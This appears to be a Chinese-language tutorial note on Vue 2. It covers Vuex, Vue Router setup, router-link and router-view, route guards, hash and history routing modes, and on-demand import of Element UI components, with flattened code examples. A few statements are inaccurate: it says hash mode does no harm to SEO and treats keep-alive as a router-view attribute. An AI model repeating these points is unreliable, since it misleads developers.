1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import Vue from 'vue' import Vuex from 'vuex' Vue .use (Vuex )const store = new Vuex .Store ({ state : { count : 0 , }, mutations : { increment (state ) { state.count ++ }, }, actions : { incrementAsync (context ) { setTimeout (() => { context.commit ('increment' ) }, 1000 ) }, }, }) export default store
Vue路由 什么是路由?
路由是指根据 URL 的不同,显示不同的内容或页面。在前端开发中,路由主要用于实现单页应用(Single Page Application,SPA)。
一个路由就是一组映射关系(key - value)
key 为路径, value 可能是 function 或 component
对 SPA 应用的理解
Vue.js 官方提供了一个路由管理器 Vue Router,它能够让我们方便地进行路由管理。在 Vue Router 中,我们可以定义路由、配置路由参数,以及进行路由导航等操作。
在 Vue Router 中,我们通常需要进行以下几个步骤:
安装 Vue Router:通过 npm install vue-router
命令进行安装。
定义路由:在路由文件中定义路由,并将其作为 Vue 实例的选项之一进行配置。
渲染视图:在 Vue 实例中使用 <router-view>
标签渲染视图。
导航:使用 <router-link>
标签或编程式导航进行路由跳转。
几个注意点
路由组件通常存放在pages
文件夹,一般组件通常存放在components
文件夹。
通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
每个组件都有自己的$route
属性,里面存储着自己的路由信息。
整个应用只有一个router,可以通过组件的$router
属性获取到。
配置路由规则,使用children配置项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 routes :[ { path :'/about' , component :About , }, { path :'/home' , component :Home , children :[ { path :'news' , component :News }, { path :'message' , component :Message } ] } ]
在下面的示例中,首先引入了 Vue、Vue Router 和 App 组件、Home 组件、About 组件。然后定义了路由,包含两个路径 ‘/‘ 和 ‘/about’,分别对应 Home 和 About 组件。接着创建了一个 VueRouter 对象,将定义的路由传入,并在 Vue 实例中进行配置,同时在模板中使用 <router-view>
标签来渲染视图。
通过这样的方式,我们就可以在应用程序中进行路由跳转了,比如在组件中使用 <router-link>
标签,或者使用编程式导航 this.$router.push('/')
。
下面是一个简单的 Vue Router 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import Vue from 'vue' import VueRouter from 'vue-router' import App from './App.vue' import Home from './components/Home.vue' import About from './components/About.vue' Vue .use (VueRouter )const routes = [ { path : '/' , component : Home }, { path : '/about' , component : About }, ] const router = new VueRouter ({ routes, }) new Vue ({ router, render : h => h (App ), }).$mount('#app' )
router-link router-link
是 Vue.js 官方提供的组件,用于实现在 Vue.js 应用中的路由跳转。
在 Vue.js 中,如果要跳转到某个路由,可以使用 <router-link>
组件来实现。<router-link>
组件会渲染一个可点击的链接,并在点击时触发路由跳转。
使用 <router-link>
组件需要传递一个 to
属性,用于指定跳转的目标路由。to
属性的值可以是一个字符串,也可以是一个路由对象,具体的取值方式可以参考 vue-router
文档。
当然,<router-link>
组件还可以设置其他属性,比如可以设置 target
属性来指定链接的打开方式,可以设置 active-class
属性来指定链接激活时的 CSS 类名等。详细的使用方法可以参考 vue-router
的官方文档。
在下面的代码中,通过在模板中使用 <router-link>
标签,可以生成两个可点击的链接,分别对应了 /
和 /about
两个路由。当用户点击这两个链接时,就会自动触发路由跳转到对应的页面。
下面是一个简单的 <router-link>
组件的使用示例:
1 2 3 4 5 6 <template> <div > <router-link to ="/" > Home</router-link > <router-link to ="/about" > About</router-link > </div > </template>
router-view <router-view>
是 Vue.js 官方提供的组件,用于根据当前路由匹配的组件动态地渲染到对应的位置。
在 Vue.js 应用中,一般会使用多个组件来分别表示不同的页面,然后通过路由来动态切换这些组件。使用 <router-view>
组件可以将这些组件动态渲染到对应的位置。当切换路由时,<router-view>
组件会根据当前路由匹配的组件来动态渲染到对应的位置。
当然,<router-view>
组件还可以设置其他属性,比如可以设置 name
属性来指定命名视图,可以设置 keep-alive
属性来缓存组件等。详细的使用方法可以参考 vue-router
的官方文档。
下面是一个简单的 <router-view>
组件的使用示例:
在下面的代码中,首先定义了一个包含三个路由链接的导航栏。每个链接都使用 <router-link>
组件来实现,其中 to
属性用来指定链接的目标路由。
接着,在组件的模板中使用了 <router-view>
组件来占位显示匹配的路由组件。当用户点击导航栏中的链接时,vue-router
会根据链接中的目标路由来动态地渲染对应的组件,并将其渲染到 <router-view>
组件的位置上。
注意,上述代码中只是为了演示 <router-view>
的使用方法,实际上还需要在 router/index.js
中定义各个路由的组件和路径等信息。具体的使用方法可以参考 vue-router
的官方文档。
1 2 3 4 5 6 7 8 9 10 11 <template> <div > <h1 > My App</h1 > <nav > <router-link to ="/" > Home</router-link > <router-link to ="/about" > About</router-link > <router-link to ="/contact" > Contact</router-link > </nav > <router-view > </router-view > </div > </template>
路由守卫 路由守卫是 vue-router
提供的一些方法,可以在路由切换的不同阶段进行一些拦截和操作。常用的路由守卫包括全局前置守卫 beforeEach
、全局后置钩子 afterEach
和路由独享守卫 beforeEnter
。
beforeEach
: 全局前置守卫,在路由切换前调用,可以用来进行路由权限验证、全局拦截等操作。
afterEach
: 全局后置钩子,在路由切换完成后调用,可以用来进行页面统计、全局错误处理等操作。
beforeEnter
: 路由独享守卫,只作用于当前路由,在进入该路由前调用,可以用来进行该路由的权限验证等操作。
下面是一个使用 beforeEach
守卫的示例:
1 2 3 4 5 6 7 8 9 10 import router from './router' import store from './store' router.beforeEach ((to, from , next ) => { if (to.meta .requiresAuth && !store.state .user ) { next ('/login' ) } else { next () } })
在上面的代码中,我们使用 beforeEach
守卫对需要进行身份验证的路由进行拦截。如果用户未登录,则跳转到登录页面;否则,继续进行路由跳转。
需要注意的是,在 beforeEach
守卫中,可以通过 next
方法来控制路由跳转行为。如果调用 next
方法,表示允许路由跳转;如果传递一个路由路径,表示取消当前跳转并跳转到指定路由。
独享路由 在 vue-router
中,独享路由指的是只对某个路由生效的守卫。和全局守卫不同,独享路由守卫只会在当前路由的跳转过程中被触发。常见的独享路由守卫包括 beforeEnter
和组件内的 beforeRouteEnter
和 beforeRouteLeave
等。
以 beforeEnter
守卫为例,下面是一个简单的使用示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const router = new VueRouter ({ routes : [ { path : '/user/:id' , component : User , beforeEnter : (to, from , next ) => { if (to.params .id === 'admin' ) { next ('/' ) } else { next () } } } ] })
在上面的示例中,我们为 User
组件配置了一个路由 /user/:id
,并为该路由配置了一个 beforeEnter
守卫。在守卫中,我们根据 to
对象中的参数 id
进行判断,如果 id
为 'admin'
,则取消当前路由跳转并跳转到首页;否则,继续进行路由跳转。
需要注意的是,在独享路由守卫中,this
指向的是 undefined
,因此无法访问到组件实例,如果需要访问组件实例,则需要使用组件内的 beforeRouteEnter
守卫。
管理路由 在 Vue Router 中,有两种模式可以用于管理路由:hash 模式和 history 模式。
hash模式:
地址中永远带着#号,不美观 。
若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
兼容性较好。
history模式:
地址干净,美观 。
兼容性和hash模式相比略差。
应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
history模式 其中,history 模式基于 HTML5 的 history API,它可以在不刷新页面的情况下改变 URL,从而实现前端路由的跳转。启用 history 模式很简单,只需要在创建 VueRouter
实例时,将 mode
配置项的值设置为 'history'
即可。示例代码如下:
1 2 3 4 5 6 const router = new VueRouter ({ mode : 'history' , routes : [ ] })
在使用 history 模式时,需要在后端服务器配置,以确保用户在刷新页面或者直接访问特定路由时能够正常访问到前端路由对应的页面。具体来说,当用户在浏览器地址栏中直接访问特定路由时,后端服务器应该始终返回前端应用的入口 HTML 文件,让前端路由接管页面的跳转。通常,可以使用 URL 重写技术来实现这一点。
需要注意的是,当使用 history 模式时,需要确保服务端支持 HTML5 history API。如果用户使用的是比较老的浏览器,或者使用了某些浏览器插件,可能会导致 history 模式失效,此时可以考虑使用 hash 模式作为备选方案。
hash模式 在 Vue.js 中,路由默认使用的是 hash 模式(也叫做哈希模式)。在 hash 模式下,URL 中的 #
符号前面的部分表示真实的 URL 地址,而 #
符号后面的部分则表示当前路由的路径。
使用 hash 模式的优点在于,不需要服务器端进行额外的配置,可以直接在前端进行路由管理。同时,由于 hash 会被浏览器自动忽略,因此不会对 SEO(搜索引擎优化)产生负面影响。
要使用 hash 模式,只需要在创建路由器实例时,将 mode
属性设置为 'hash'
,如下所示:
1 2 3 4 5 6 7 8 import VueRouter from 'vue-router' ;const router = new VueRouter ({ mode : 'hash' , routes : [ ] });
当然,如果不想在 URL 中显示 #
符号,也可以使用 HTML5 的 history 模式,通过修改浏览器的历史记录,实现类似的效果。
UI组件库 在 Vue.js 中,可以使用第三方的 UI 组件库来快速搭建前端页面,常用的 UI 组件库包括:
Element UI:由饿了么团队开发的一套基于 Vue.js 的 UI 组件库,提供了大量的组件和模板,支持响应式布局和多语言等特性。
Ant Design Vue:由 Ant Design 团队开发的基于 Vue.js 的 UI 组件库,提供了丰富的组件和模板,支持国际化和主题定制等功能。
Vuetify:一个基于 Material Design 设计语言的 UI 组件库,提供了一系列的组件和样式,支持响应式布局和主题定制等特性。
Bootstrap Vue:一个基于 Bootstrap 4 和 Vue.js 的 UI 组件库,提供了一系列的组件和样式,支持响应式布局和主题定制等特性。
Ivy UI:一个基于 Vue 3 的 UI 组件库,提供了一系列的组件和样式,支持 Tree Shaking 和主题定制等特性。
这些 UI 组件库都提供了丰富的组件和模板,可以根据需求选择合适的组件库进行使用。同时,由于 Vue.js 本身的灵活性和可扩展性,也可以根据自己的需求进行二次开发,定制符合自己需求的 UI 组件。
移动端常用 UI 组件库
PC 端常用 UI 组件库
Element UI 官方文档使用说明:https://element.eleme.cn/#/zh-CN/component/quickstart
Element UI 是一套基于 Vue.js 2.0 的 UI 组件库,由饿了么前端团队开发维护,提供了丰富的组件和模板,支持响应式布局和多语言等特性。
Element UI 的组件包括按钮、表单、表格、弹窗、日期选择器、下拉框、菜单、分页等,支持自定义主题和样式,也支持按需加载和 Tree Shaking 等功能,可以根据需求进行灵活配置和定制。
Element UI 的使用非常简单,只需要在项目中引入 Element UI 的 CSS 和 JS 文件,然后按照文档中的示例使用相应的组件即可。Element UI 的文档非常详细,也提供了丰富的示例和 API 文档,方便开发者进行使用和扩展。
例子:由于该库有太多组件了,参考官方文档进行按需引入组件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import Vue from 'vue' import App from './App.vue' import { Button ,Row ,DatePicker } from 'element-ui' ;Vue .config .productionTip = false Vue .component ('atguigu-button' , Button );Vue .component ('atguigu-row' , Row );Vue .component ('atguigu-date-picker' , DatePicker );new Vue ({ el :'#app' , render : h => h (App ), })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <template> <div > <button > 原生的按钮</button > <input type ="text" > <atguigu-row > <el-button > 默认按钮</el-button > <el-button type ="primary" > 主要按钮</el-button > <el-button type ="success" > 成功按钮</el-button > <el-button type ="info" > 信息按钮</el-button > <el-button type ="warning" > 警告按钮</el-button > <el-button type ="danger" > 危险按钮</el-button > </atguigu-row > <atguigu-date-picker type ="date" placeholder ="选择日期" > </atguigu-date-picker > <atguigu-row > <el-button icon ="el-icon-search" circle > </el-button > <el-button type ="primary" icon ="el-icon-s-check" circle > </el-button > <el-button type ="success" icon ="el-icon-check" circle > </el-button > <el-button type ="info" icon ="el-icon-message" circle > </el-button > <el-button type ="warning" icon ="el-icon-star-off" circle > </el-button > <el-button type ="danger" icon ="el-icon-delete" circle > </el-button > </atguigu-row > </div > </template > <script > export default { name :'App' , } </script >